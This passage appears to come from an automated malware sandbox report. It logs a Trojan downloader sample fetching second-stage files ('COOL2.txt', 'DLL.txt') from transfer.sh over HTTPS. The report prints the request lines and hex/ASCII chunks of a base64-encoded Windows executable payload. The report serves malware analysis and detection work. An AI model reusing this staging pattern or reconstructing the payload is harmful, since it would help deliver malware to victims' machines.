6c 64 20 6e 6f 74 20 70 61 72 73 65 20 75 72 6c 20 21 3c 2f 70 72 65 3e Data Ascii: <script>if(window.location.href.includes("#")) window.location.href = window.location.href.replace(/\/\#\//g,'#').replace(/\/\#/g,'#').replace(/\#/g,'/');</script><pre>Could not parse url !</pre>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49699	144.76.136.153	443	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-11 03:55:38 UTC	0	OUT	GET /get/at0HRq/COOL2.txt HTTP/1.1 Host: transfer.sh Connection: Keep-Alive
2022-10-11 03:55:39 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Oct 2022 03:55:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 253272 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="COOL2.txt" Retry-After: Tue, 11 Oct 2022 05:55:39 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,102.129.143.15,102.129.143.15 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1665460539 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
2022-10-11 03:55:39 UTC	0	IN	Data Raw: 54 56 70 46 55 75 67 41 41 41 41 41 57 49 50 6f 43 59 76 49 67 38 41 38 69 77 41 44 77 59 50 41 4b 41 4d 49 2f 2b 47 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 43 78 48 47 7a 42 39 58 30 43 6b 76 56 39 41 70 4c 31 66 51 4b 53 30 72 76 4e 6b 76 5a 39 41 70 4c 53 75 38 2b 53 39 48 30 43 6b 74 4b 37 7a 70 4c 30 66 51 4b 53 55 6d 6c 6a 61 50 56 39 41 70 49 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: TVpFUugAAAAAWIPoCYvIg8A8iwADwYPAKAMI/+GQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACxHGzB9X0CkvV9ApL1fQKS0rvNkvZ9ApLSu8+S9H0CktK7zpL0fQKSUmljaPV9ApIAAAAAAAAAAAAAAAAAAAA
2022-10-11 03:55:39 UTC	16	IN	Data Raw: 44 41 30 49 47 6e 41 43 31 57 2b 52 37 6b 41 62 6b 54 79 76 42 55 4d 51 6e 5a 67 6b 72 66 4f 50 72 35 73 4d 76 62 61 33 66 4b 46 46 6a 6b 6f 4d 78 30 44 7a 44 70 46 30 78 62 50 43 69 6a 2b 68 57 63 53 2f 6e 4f 53 47 44 65 77 49 2b 78 2f 47 34 6a 31 65 35 48 62 79 66 6e 78 33 53 4c 39 6e 71 4d 78 4c 72 30 48 39 4c 4d 5a 44 6f 36 71 46 4b 73 47 7a 41 6c 50 6f 4b 4f 69 4d 6e 5a 2b 67 33 7a 6d 48 74 76 63 37 74 58 61 54 7a 4d 72 2b 59 62 79 47 62 76 67 75 6a 4a 49 5a 55 4b 45 68 6d 72 70 4f 75 62 48 43 4e 58 4d 66 30 4f 73 55 77 37 54 49 62 49 57 65 49 72 71 34 4d 72 6d 37 75 6e 68 71 35 65 6e 4c 62 6c 77 57 70 33 63 75 6c 47 39 66 59 4e 38 6c 61 74 58 44 32 59 72 5a 4d 67 78 4c 69 5a 56 58 50 4a 4f 61 68 47 2b 53 54 79 6a 54 4f 41 2b 59 43 71 45 31 46 79 51 Data Ascii: DA0IGnAC1W+R7kAbkTyvBUMQnZgkrfOPr5sMvba3fKFFjkoMx0DzDpF0xbPCij+hWcS/nOSGDewI+x/G4j1e5Hbyfnx3SL9nqMxLr0H9LMZDo6qFKsGzAlPoKOiMnZ+g3zmHtvc7tXaTzMr+YbyGbvgujJIZUKEhmrpOubHCNXMf0OsUw7TIbIWeIrq4Mrm7unhq5enLblwWp3culG9fYN8latXD2YrZMgxLiZVXPJOahG+STyjTOA+YCqE1FyQ
2022-10-11 03:55:39 UTC	32	IN	Data Raw: 66 77 36 65 54 75 6b 42 61 6b 4f 66 66 4f 39 52 67 46 4f 77 4f 6b 73 6a 58 35 33 46 6f 6b 51 71 43 72 73 31 42 51 69 6f 4e 4d 6c 6e 35 59 4f 42 56 73 6d 79 7a 79 54 41 67 79 2f 52 39 67 62 30 45 4e 63 47 53 64 67 6a 75 78 66 6c 76 78 73 65 56 54 67 42 44 56 69 4b 6f 6f 53 70 6d 71 45 5a 39 43 6f 2b 71 51 44 5a 56 4b 48 55 63 43 67 77 36 36 73 36 4d 61 49 46 38 4c 50 30 63 73 78 78 74 46 37 77 44 68 65 59 78 68 6a 45 75 38 37 2b 43 75 66 67 4a 6a 73 35 47 73 50 36 63 34 39 74 43 52 35 49 36 4f 41 33 6f 35 63 34 4b 68 5a 2b 62 69 2b 35 58 55 71 75 74 68 4b 65 57 33 4d 33 36 38 69 6d 69 59 61 43 68 45 31 5a 42 35 5a 44 64 31 45 73 6f 52 4e 52 2b 41 5a 48 39 33 61 62 6c 46 65 63 63 49 70 55 45 63 43 4a 4b 58 33 56 75 79 57 55 66 78 30 74 2f 43 75 6a 6b 74 7a Data Ascii: fw6eTukBakOffO9RgFOwOksjX53FokQqCrs1BQioNMln5YOBVsmyzyTAgy/R9gb0ENcGSdgjuxflvxseVTgBDViKooSpmqEZ9Co+qQDZVKHUcCgw66s6MaIF8LP0csxxtF7wDheYxhjEu87+CufgJjs5GsP6c49tCR5I6OA3o5c4KhZ+bi+5XUquthKeW3M368imiYaChE1ZB5ZDd1EsoRNR+AZH93ablFeccIpUEcCJKX3VuyWUfx0t/Cujktz
2022-10-11 03:55:39 UTC	48	IN	Data Raw: 30 36 35 50 45 69 46 59 4e 51 4f 71 50 75 61 55 54 54 62 2f 75 6d 37 30 2f 51 4a 67 74 66 6a 42 37 43 46 56 58 69 57 78 55 37 64 35 5a 78 62 6c 6e 5a 66 2b 58 77 36 41 58 59 78 59 2f 76 2b 35 30 67 44 39 4a 2b 6a 4c 4f 48 4a 6c 77 54 48 43 4a 39 54 6a 56 72 6a 35 53 79 4d 64 79 46 73 4d 59 6d 6d 78 62 38 53 4e 41 38 54 46 46 43 43 51 4e 33 54 67 33 6d 6b 6d 72 74 4a 4e 2f 45 2f 6b 66 52 33 32 58 4b 64 5a 78 39 63 48 39 43 62 6d 61 39 79 75 44 4e 68 36 65 4c 61 43 30 4e 34 6a 59 4c 37 49 39 58 44 2b 73 5a 53 53 66 54 54 4f 36 43 57 67 6f 5a 48 46 5a 41 68 35 61 78 53 6d 68 62 63 46 78 47 49 65 77 53 51 78 42 42 64 6d 49 2b 42 71 54 36 76 32 79 2b 38 35 65 36 2b 7a 31 6d 70 52 54 2f 68 74 37 6a 38 6f 79 70 52 2b 62 76 30 62 37 68 59 6d 79 76 4e 36 42 78 30 Data Ascii: 065PEiFYNQOqPuaUTTb/um70/QJgtfjB7CFVXiWxU7d5ZxblnZf+Xw6AXYxY/v+50gD9J+jLOHJlwTHCJ9TjVrj5SyMdyFsMYmmxb8SNA8TFFCCQN3Tg3mkmrtJN/E/kfR32XKdZx9cH9Cbma9yuDNh6eLaC0N4jYL7I9XD+sZSSfTTO6CWgoZHFZAh5axSmhbcFxGIewSQxBBdmI+BqT6v2y+85e6+z1mpRT/ht7j8oypR+bv0b7hYmyvN6Bx0
2022-10-11 03:55:39 UTC	64	IN	Data Raw: 59 4a 4d 76 6a 6c 57 35 59 63 64 33 76 65 52 2f 79 30 4c 45 78 63 79 64 43 67 65 6c 31 6a 64 68 73 67 48 39 42 6c 51 42 51 52 36 53 55 2b 4d 2f 74 68 7a 79 6c 4a 6f 45 56 42 4b 67 54 2b 31 6f 66 2b 4d 50 4e 45 62 73 6b 57 59 2f 43 70 61 42 57 58 58 61 71 4a 35 45 66 6b 65 6b 6c 73 53 6b 58 35 67 77 4b 33 53 5a 33 57 4d 62 31 52 32 61 33 38 67 58 75 7a 52 6a 74 58 6d 33 73 69 33 36 4a 2f 43 72 67 46 6b 55 56 39 43 47 63 6d 59 2f 44 36 46 68 4f 7a 76 35 62 4b 62 47 59 43 77 49 66 4e 76 76 78 57 58 65 72 63 42 4a 5a 42 32 76 6b 2b 74 74 51 70 70 63 61 38 30 4e 6a 65 4f 62 78 44 54 6e 58 59 5a 45 74 54 74 5a 6b 39 2f 33 41 42 52 32 4d 4f 54 48 52 67 63 62 37 42 36 38 70 35 6a 59 6b 4e 59 59 51 48 52 48 45 78 47 6b 45 38 39 78 54 30 54 77 57 5a 35 30 46 66 73 Data Ascii: YJMvjlW5Ycd3veR/y0LExcydCgel1jdhsgH9BlQBQR6SU+M/thzylJoEVBKgT+1of+MPNEbskWY/CpaBWXXaqJ5EfkeklsSkX5gwK3SZ3WMb1R2a38gXuzRjtXm3si36J/CrgFkUV9CGcmY/D6FhOzv5bKbGYCwIfNvvxWXercBJZB2vk+ttQppca80NjeObxDTnXYZEtTtZk9/3ABR2MOTHRgcb7B68p5jYkNYYQHRHExGkE89xT0TwWZ50Ffs
2022-10-11 03:55:39 UTC	80	IN	Data Raw: 68 45 31 32 34 43 79 6a 74 56 69 57 4c 6d 4d 72 57 55 68 36 79 36 2f 68 77 64 56 4d 71 6b 4f 5a 62 71 5a 7a 6d 45 4e 62 4e 48 4d 70 79 63 33 66 37 4c 66 49 71 32 59 68 78 33 39 73 7a 59 77 47 37 35 55 47 4c 67 59 38 52 2f 36 6b 39 74 70 57 49 42 4c 65 56 4b 39 6c 30 44 53 34 69 56 6b 68 38 6f 70 46 69 53 71 55 35 4b 43 2f 35 4a 33 74 68 52 6a 37 58 6f 2b 77 42 76 48 66 63 65 4d 7a 50 31 49 70 74 76 7a 74 4c 54 54 72 6f 4f 62 58 35 62 48 4f 2b 44 62 65 4e 76 44 4e 6f 44 73 58 66 44 79 5a 66 32 52 47 31 75 66 72 4f 38 73 5a 74 46 2f 70 57 61 63 4a 31 51 68 59 57 67 2b 71 4b 72 51 35 54 6b 75 52 76 53 72 33 50 68 57 76 38 58 4f 38 6c 79 6f 42 44 48 37 49 6f 73 6f 6f 37 55 6e 64 65 33 37 4a 31 68 4d 72 61 4f 77 78 2b 41 31 30 42 74 33 38 66 50 74 46 50 47 45 Data Ascii: hE124CyjtViWLmMrWUh6y6/hwdVMqkOZbqZzmENbNHMpyc3f7LfIq2Yhx39szYwG75UGLgY8R/6k9tpWIBLeVK9l0DS4iVkh8opFiSqU5KC/5J3thRj7Xo+wBvHfceMzP1IptvztLTTroObX5bHO+DbeNvDNoDsXfDyZf2RG1ufrO8sZtF/pWacJ1QhYWg+qKrQ5TkuRvSr3PhWv8XO8lyoBDH7Iosoo7Unde37J1hMraOwx+A10Bt38fPtFPGE
2022-10-11 03:55:39 UTC	96	IN	Data Raw: 45 4e 47 76 31 49 6c 71 51 50 67 67 51 4f 58 34 72 63 38 67 61 51 2b 4b 61 65 56 56 52 41 50 39 73 48 45 44 73 36 45 46 53 35 31 5a 52 73 49 33 38 55 4d 66 6b 72 57 32 68 6b 30 65 62 46 74 4d 77 74 7a 76 69 69 58 38 43 74 6a 66 6d 63 64 57 56 50 65 44 4f 76 73 49 35 68 6f 4a 71 43 37 37 73 6d 46 2b 6e 47 47 30 56 78 50 44 33 32 79 38 54 7a 73 4f 76 76 72 46 48 57 62 71 6d 55 72 42 62 59 65 38 2b 79 79 37 35 54 7a 44 6f 73 6f 78 45 2f 31 2b 43 6f 62 37 32 62 71 45 49 54 37 76 7a 77 76 46 4f 52 56 58 77 36 56 44 43 45 79 56 63 4c 53 6e 43 37 69 72 4f 69 2b 58 2f 65 2b 33 59 53 31 76 39 69 45 45 5a 34 6b 42 58 65 47 32 6c 6d 30 74 52 62 6f 77 44 30 6e 34 6b 35 35 62 5a 6a 4d 4d 2f 45 2b 47 6b 79 67 6b 4b 73 6c 44 63 39 67 4d 32 33 71 6f 74 4f 61 38 68 54 54 Data Ascii: ENGv1IlqQPggQOX4rc8gaQ+KaeVVRAP9sHEDs6EFS51ZRsI38UMfkrW2hk0ebFtMwtzviiX8CtjfmcdWVPeDOvsI5hoJqC77smF+nGG0VxPD32y8TzsOvvrFHWbqmUrBbYe8+yy75TzDosoxE/1+Cob72bqEIT7vzwvFORVXw6VDCEyVcLSnC7irOi+X/e+3YS1v9iEEZ4kBXeG2lm0tRbowD0n4k55bZjMM/E+GkygkKslDc9gM23qotOa8hTT
2022-10-11 03:55:39 UTC	112	IN	Data Raw: 6f 48 38 6c 6b 6c 4a 34 4a 43 67 2b 53 6c 72 4a 4b 4f 48 45 37 66 58 69 63 43 4c 4c 52 65 63 2b 77 30 4d 57 68 69 66 34 6e 63 37 6c 75 33 67 57 57 51 58 4d 6e 53 6e 38 66 45 30 75 31 2f 73 6b 63 41 50 62 6f 51 76 7a 47 30 41 55 4b 32 30 30 6f 58 77 6f 52 73 58 57 4d 62 41 35 51 34 35 7a 6a 37 59 49 52 6e 58 45 37 46 74 71 54 54 6b 64 66 6c 43 33 62 70 2f 4b 59 41 4d 54 35 6e 4b 53 49 4a 47 61 7a 45 6d 78 72 48 4f 2f 59 5a 4d 70 61 79 51 75 77 65 45 72 4e 67 47 74 30 4b 32 64 79 32 66 34 63 4f 73 47 46 5a 31 35 68 62 70 38 74 6e 52 77 50 37 46 4f 6a 69 49 36 46 75 34 41 31 7a 31 4b 72 39 35 4a 31 68 43 61 4d 6f 4b 6c 4b 6a 43 32 32 46 68 7a 72 6b 61 7a 63 6e 46 4a 70 77 56 30 6b 2b 43 33 2f 6b 36 72 51 66 53 4a 49 62 56 53 65 54 46 39 58 4b 51 54 6d 7a 45 Data Ascii: oH8lklJ4JCg+SlrJKOHE7fXicCLLRec+w0MWhif4nc7lu3gWWQXMnSn8fE0u1/skcAPboQvzG0AUK200oXwoRsXWMbA5Q45zj7YIRnXE7FtqTTkdflC3bp/KYAMT5nKSIJGazEmxrHO/YZMpayQuweErNgGt0K2dy2f4cOsGFZ15hbp8tnRwP7FOjiI6Fu4A1z1Kr95J1hCaMoKlKjC22FhzrkazcnFJpwV0k+C3/k6rQfSJIbVSeTF9XKQTmzE
2022-10-11 03:55:39 UTC	128	IN	Data Raw: 36 36 41 54 35 48 58 67 64 38 77 44 65 47 7a 45 2b 6c 32 67 53 68 4e 79 58 72 76 67 72 72 34 4c 4f 7a 67 6d 56 4a 32 57 79 67 52 38 4f 56 37 57 61 49 67 6b 49 38 69 79 6c 57 77 67 54 56 36 61 4a 6f 63 71 68 64 39 75 39 38 42 66 4f 46 6f 54 53 39 43 78 38 6c 74 53 61 78 2f 44 35 46 36 67 45 58 4a 75 6a 74 77 4a 51 4f 72 2b 51 48 2b 59 73 44 45 34 6c 35 55 45 50 44 41 4a 61 30 2b 2b 6b 43 6e 68 77 73 38 58 48 32 6e 68 30 70 42 79 34 58 6e 4d 72 72 44 45 43 79 72 69 78 77 46 43 41 43 70 7a 59 2b 71 78 5a 57 65 30 4b 6d 4d 69 48 74 64 66 4a 4c 4b 36 43 76 6f 70 78 32 31 30 53 56 30 6a 47 36 55 73 47 30 48 54 6a 41 6e 38 44 2b 6a 41 45 75 67 4a 53 4c 78 64 42 78 37 55 48 4d 71 4f 4c 56 73 4b 70 54 78 39 32 48 6e 57 77 77 6c 65 59 5a 33 72 36 79 53 6e 4f 44 4b Data Ascii: 66AT5HXgd8wDeGzE+l2gShNyXrvgrr4LOzgmVJ2WygR8OV7WaIgkI8iylWwgTV6aJocqhd9u98BfOFoTS9Cx8ltSax/D5F6gEXJujtwJQOr+QH+YsDE4l5UEPDAJa0++kCnhws8XH2nh0pBy4XnMrrDECyrixwFCACpzY+qxZWe0KmMiHtdfJLK6Cvopx210SV0jG6UsG0HTjAn8D+jAEugJSLxdBx7UHMqOLVsKpTx92HnWwwleYZ3r6ySnODK
2022-10-11 03:55:39 UTC	144	IN	Data Raw: 38 4f 59 6e 4f 79 53 56 59 55 4e 2f 70 72 32 30 50 2f 71 77 52 53 6a 6d 53 77 70 35 67 4f 76 51 51 75 6c 45 4b 55 33 7a 41 31 6e 51 6e 35 4f 32 51 6d 75 37 4a 44 38 42 58 69 79 54 70 42 46 72 74 6d 2b 77 70 54 68 57 63 72 65 45 2b 79 59 66 5a 4b 69 72 75 58 73 4d 35 62 48 53 45 4b 62 6f 6d 6e 69 2b 2b 5a 2b 30 56 4c 58 41 68 31 4e 47 57 39 6e 47 6e 36 61 68 31 56 2f 47 39 48 65 49 78 6e 52 45 77 31 47 38 63 5a 4f 57 31 48 53 4d 30 37 38 65 56 2b 47 58 70 2f 68 57 38 50 67 69 44 7a 33 64 32 7a 34 69 35 38 53 71 42 43 43 2b 4c 46 6b 37 78 71 6d 77 76 74 47 6f 66 41 38 4b 38 73 33 33 57 79 32 53 4e 6c 66 5a 69 70 53 76 69 49 52 58 62 38 49 4b 49 2b 48 2b 52 65 6f 68 2b 6e 69 63 2b 6f 36 48 38 44 39 38 68 30 61 50 73 57 5a 32 35 74 33 34 66 5a 31 2b 75 6b 4d Data Ascii: 8OYnOySVYUN/pr20P/qwRSjmSwp5gOvQQulEKU3zA1nQn5O2Qmu7JD8BXiyTpBFrtm+wpThWcreE+yYfZKiruXsM5bHSEKbomni++Z+0VLXAh1NGW9nGn6ah1V/G9HeIxnREw1G8cZOW1HSM078eV+GXp/hW8PgiDz3d2z4i58SqBCC+LFk7xqmwvtGofA8K8s33Wy2SNlfZipSviIRXb8IKI+H+Reoh+nic+o6H8D98h0aPsWZ25t34fZ1+ukM
2022-10-11 03:55:39 UTC	160	IN	Data Raw: 69 6d 33 59 76 63 4f 4e 78 42 4c 6f 62 67 67 63 49 4e 64 7a 51 35 4d 42 52 53 52 4d 6d 41 38 4d 58 64 6c 65 46 7a 35 6d 4c 41 72 77 32 57 2f 49 62 39 34 78 63 6e 78 66 6a 4d 71 7a 79 32 66 6e 55 78 65 51 30 31 66 7a 62 56 6f 39 66 6a 6e 6e 75 47 74 6f 6e 76 7a 45 74 66 65 4b 39 53 4d 43 66 67 56 44 48 59 41 37 75 2b 59 65 50 42 4a 6c 35 6c 6c 44 76 51 53 6a 63 33 36 58 63 63 39 55 66 57 2b 62 4a 77 50 4c 78 65 6b 49 6a 6e 46 64 4c 37 59 49 6d 72 6c 36 57 6d 61 47 53 44 37 49 4c 53 43 41 4b 61 37 75 52 5a 50 66 33 58 6f 4c 75 2f 69 79 67 42 36 2b 34 58 4d 41 4e 6e 70 37 6b 58 47 4b 4a 49 6c 6a 72 45 6b 45 30 66 55 58 49 4a 35 34 67 4c 69 47 78 65 4f 36 34 75 72 64 45 51 54 32 69 58 71 68 43 36 76 61 36 67 57 54 58 43 48 6f 30 6b 47 4b 73 36 4a 68 30 33 72 Data Ascii: im3YvcONxBLobggcINdzQ5MBRSRMmA8MXdleFz5mLArw2W/Ib94xcnxfjMqzy2fnUxeQ01fzbVo9fjnnuGtonvzEtfeK9SMCfgVDHYA7u+YePBJl5llDvQSjc36Xcc9UfW+bJwPLxekIjnFdL7YImrl6WmaGSD7ILSCAKa7uRZPf3XoLu/iygB6+4XMANnp7kXGKJIljrEkE0fUXIJ54gLiGxeO64urdEQT2iXqhC6va6gWTXCHo0kGKs6Jh03r
2022-10-11 03:55:39 UTC	176	IN	Data Raw: 62 59 46 5a 41 53 54 61 73 79 34 37 65 61 43 46 7a 6f 39 50 70 32 57 37 6a 34 64 54 49 2f 78 2b 70 72 38 45 35 75 4f 56 41 6f 4f 48 37 32 59 47 4c 70 49 2f 65 75 41 49 6e 44 34 53 64 4b 50 64 57 55 54 4f 71 66 4e 58 76 47 33 76 63 68 6b 2b 4e 49 78 7a 30 68 57 73 52 37 65 78 66 41 4c 5a 6b 79 2b 57 56 4f 42 46 4a 78 49 4c 34 34 61 54 7a 38 47 4c 64 4c 37 6c 74 4f 43 69 75 54 55 30 57 71 43 62 2f 53 6d 59 73 53 45 50 33 53 51 51 6d 5a 42 78 38 64 34 45 4c 52 43 48 56 59 52 6c 5a 42 44 7a 79 72 74 52 36 53 33 2f 7a 36 55 77 67 44 50 77 6b 69 75 74 69 47 74 62 58 75 7a 4b 4b 41 46 51 73 62 41 30 70 79 6f 4f 4f 55 71 74 53 70 74 4b 75 52 38 75 30 77 74 4e 64 66 68 2f 73 38 48 32 59 36 54 56 78 76 61 65 54 66 4b 38 76 6a 42 2f 57 62 31 31 50 51 65 57 64 51 69 Data Ascii: bYFZASTasy47eaCFzo9Pp2W7j4dTI/x+pr8E5uOVAoOH72YGLpI/euAInD4SdKPdWUTOqfNXvG3vchk+NIxz0hWsR7exfALZky+WVOBFJxIL44aTz8GLdL7ltOCiuTU0WqCb/SmYsSEP3SQQmZBx8d4ELRCHVYRlZBDzyrtR6S3/z6UwgDPwkiutiGtbXuzKKAFQsbA0pyoOOUqtSptKuR8u0wtNdfh/s8H2Y6TVxvaeTfK8vjB/Wb11PQeWdQi
2022-10-11 03:55:39 UTC	192	IN	Data Raw: 41 6c 72 77 47 6d 6f 55 51 6f 63 58 73 79 34 70 61 56 6f 37 56 6f 57 54 75 41 76 2f 4a 54 53 73 58 48 45 36 51 49 4a 37 31 78 75 37 49 57 59 45 33 73 2f 39 64 42 62 38 5a 52 74 4f 59 66 2b 53 68 58 32 62 58 30 31 76 79 5a 63 64 72 39 49 31 69 6d 36 63 76 75 73 7a 56 61 64 53 45 74 44 79 41 58 66 2f 43 68 6d 67 79 36 66 57 6f 35 75 6e 34 5a 43 33 68 5a 4a 31 37 5a 65 70 68 56 58 43 4a 31 62 4b 32 35 6c 50 39 58 2b 46 4a 35 4e 55 5a 74 36 62 69 4b 36 70 68 64 2b 59 6c 34 6c 5a 57 32 37 59 43 4e 72 32 6d 75 79 6e 65 76 6d 53 4d 6e 50 73 38 4a 66 62 67 6c 58 32 42 56 50 67 46 36 2f 2b 2f 4d 77 32 65 69 72 39 6d 38 47 6b 6f 55 36 51 34 7a 72 64 45 50 30 45 2b 67 78 39 48 34 36 64 51 75 50 6e 41 34 6b 77 41 6e 6a 50 32 64 47 6f 30 47 2b 41 4e 4b 46 55 71 59 72 Data Ascii: AlrwGmoUQocXsy4paVo7VoWTuAv/JTSsXHE6QIJ71xu7IWYE3s/9dBb8ZRtOYf+ShX2bX01vyZcdr9I1im6cvuszVadSEtDyAXf/Chmgy6fWo5un4ZC3hZJ17ZephVXCJ1bK25lP9X+FJ5NUZt6biK6phd+Yl4lZW27YCNr2muynevmSMnPs8JfbglX2BVPgF6/+/Mw2eir9m8GkoU6Q4zrdEP0E+gx9H46dQuPnA4kwAnjP2dGo0G+ANKFUqYr
2022-10-11 03:55:39 UTC	208	IN	Data Raw: 4d 51 54 4b 71 6b 6a 78 41 49 56 53 79 74 4c 62 57 54 4b 64 64 36 77 31 4d 36 7a 34 59 61 6d 42 50 6c 53 41 70 44 71 4e 69 76 55 66 55 6b 30 68 66 76 45 77 74 36 7a 58 6c 47 35 41 4d 4d 59 75 76 6a 58 64 44 31 72 37 49 4a 7a 4a 32 55 55 78 44 52 6e 64 4b 6a 36 52 6d 4a 63 54 70 70 56 52 77 53 48 63 35 4d 4c 55 6a 49 44 38 48 57 46 4d 6e 76 47 63 70 57 39 53 57 66 46 65 7a 77 31 74 35 44 48 53 44 53 68 53 7a 4b 6e 30 44 53 42 79 7a 42 46 32 54 57 2f 77 58 38 64 6a 41 37 30 65 49 39 73 64 4b 61 72 54 79 66 5a 38 74 4d 64 45 79 49 6c 62 61 70 50 70 70 43 38 64 76 6e 48 75 68 57 48 47 77 67 59 32 34 62 32 63 74 5a 7a 67 79 34 6c 61 69 55 78 6f 55 4a 5a 32 32 30 78 41 6e 65 31 56 70 42 56 63 42 38 65 76 58 30 32 72 45 2f 55 4c 32 61 62 4d 39 52 42 47 69 6d 7a Data Ascii: MQTKqkjxAIVSytLbWTKdd6w1M6z4YamBPlSApDqNivUfUk0hfvEwt6zXlG5AMMYuvjXdD1r7IJzJ2UUxDRndKj6RmJcTppVRwSHc5MLUjID8HWFMnvGcpW9SWfFezw1t5DHSDShSzKn0DSByzBF2TW/wX8djA70eI9sdKarTyfZ8tMdEyIlbapPppC8dvnHuhWHGwgY24b2ctZzgy4laiUxoUJZ220xAne1VpBVcB8evX02rE/UL2abM9RBGimz
2022-10-11 03:55:39 UTC	224	IN	Data Raw: 45 2b 65 39 49 46 6f 67 51 32 70 37 42 5a 30 69 53 71 51 64 61 6e 47 57 54 63 75 5a 74 59 2b 54 47 41 68 77 46 49 79 62 30 6b 51 6c 45 6b 67 55 65 41 4c 56 66 44 34 58 33 57 4a 35 63 4a 55 75 4c 35 51 65 66 51 38 6c 74 4e 77 69 31 48 72 31 52 65 66 48 66 57 6c 55 56 4a 32 43 47 30 31 51 61 65 5a 52 51 44 4d 6f 65 7a 66 55 68 63 45 4a 66 32 5a 33 6f 73 54 4f 68 45 69 67 69 50 78 44 33 4c 30 31 4d 55 4d 31 42 6e 7a 75 47 61 69 30 6d 6d 46 73 6d 33 6c 50 2b 75 41 73 6b 77 75 4a 33 6f 66 66 41 30 43 30 61 2f 59 6d 2b 69 66 4e 61 77 2f 35 6f 4a 65 7a 77 5a 47 59 64 6c 70 44 7a 52 43 75 71 72 7a 6f 64 47 50 6f 32 48 53 65 47 6f 47 68 76 5a 6a 4e 31 65 75 64 68 6f 45 37 46 37 46 73 4d 74 65 61 77 7a 38 4d 57 42 50 4b 6a 63 4d 59 44 70 41 4f 59 71 44 69 41 6f 4c Data Ascii: E+e9IFogQ2p7BZ0iSqQdanGWTcuZtY+TGAhwFIyb0kQlEkgUeALVfD4X3WJ5cJUuL5QefQ8ltNwi1Hr1RefHfWlUVJ2CG01QaeZRQDMoezfUhcEJf2Z3osTOhEigiPxD3L01MUM1BnzuGai0mmFsm3lP+uAskwuJ3offA0C0a/Ym+ifNaw/5oJezwZGYdlpDzRCuqrzodGPo2HSeGoGhvZjN1eudhoE7F7FsMteawz8MWBPKjcMYDpAOYqDiAoL
2022-10-11 03:55:39 UTC	240	IN	Data Raw: 76 5a 69 72 5a 6c 53 73 55 41 73 72 66 74 66 46 35 63 39 39 43 67 46 61 68 48 67 64 6d 36 4b 4f 5a 44 37 67 36 4c 70 57 69 4b 41 57 70 4f 6b 64 6b 4d 6d 31 4a 6c 52 31 52 71 6f 6b 66 45 32 64 70 6f 44 36 45 41 4b 64 6b 44 56 36 74 5a 70 73 41 56 57 2f 45 33 56 34 57 51 56 62 34 49 43 36 37 53 42 70 43 38 36 45 33 6b 62 61 30 44 43 7a 53 75 73 4f 73 38 30 6c 70 32 75 4e 43 6f 74 54 43 59 4c 6d 63 31 36 4a 66 39 34 43 72 4e 45 42 36 2f 2b 6b 30 75 51 33 48 30 68 68 66 58 56 5a 50 35 45 68 50 73 32 51 6a 2b 45 58 4c 64 75 73 6d 53 2b 77 33 56 42 42 77 50 47 36 69 61 39 53 4e 43 6e 42 59 70 7a 43 73 77 6f 76 4d 44 6c 6b 42 75 64 56 69 35 61 6a 7a 69 74 66 4f 6f 64 61 36 69 4b 41 70 31 63 50 57 49 43 48 33 4c 4e 48 35 64 35 4c 39 67 39 46 43 35 6e 47 4c 61 64 Data Ascii: vZirZlSsUAsrftfF5c99CgFahHgdm6KOZD7g6LpWiKAWpOkdkMm1JlR1RqokfE2dpoD6EAKdkDV6tZpsAVW/E3V4WQVb4IC67SBpC86E3kba0DCzSusOs80lp2uNCotTCYLmc16Jf94CrNEB6/+k0uQ3H0hhfXVZP5EhPs2Qj+EXLdusmS+w3VBBwPG6ia9SNCnBYpzCswovMDlkBudVi5ajzitfOoda6iKAp1cPWICH3LNH5d5L9g9FC5nGLad

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49700	144.76.136.153	443	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-11 03:55:39 UTC	248	OUT	GET /get/NNwCGT/DLL.txt HTTP/1.1 Host: transfer.sh
2022-10-11 03:55:40 UTC	248	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Oct 2022 03:55:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 28672 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="DLL.txt" Retry-After: Tue, 11 Oct 2022 05:55:45 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,102.129.143.15,102.129.143.15 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1665460545 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
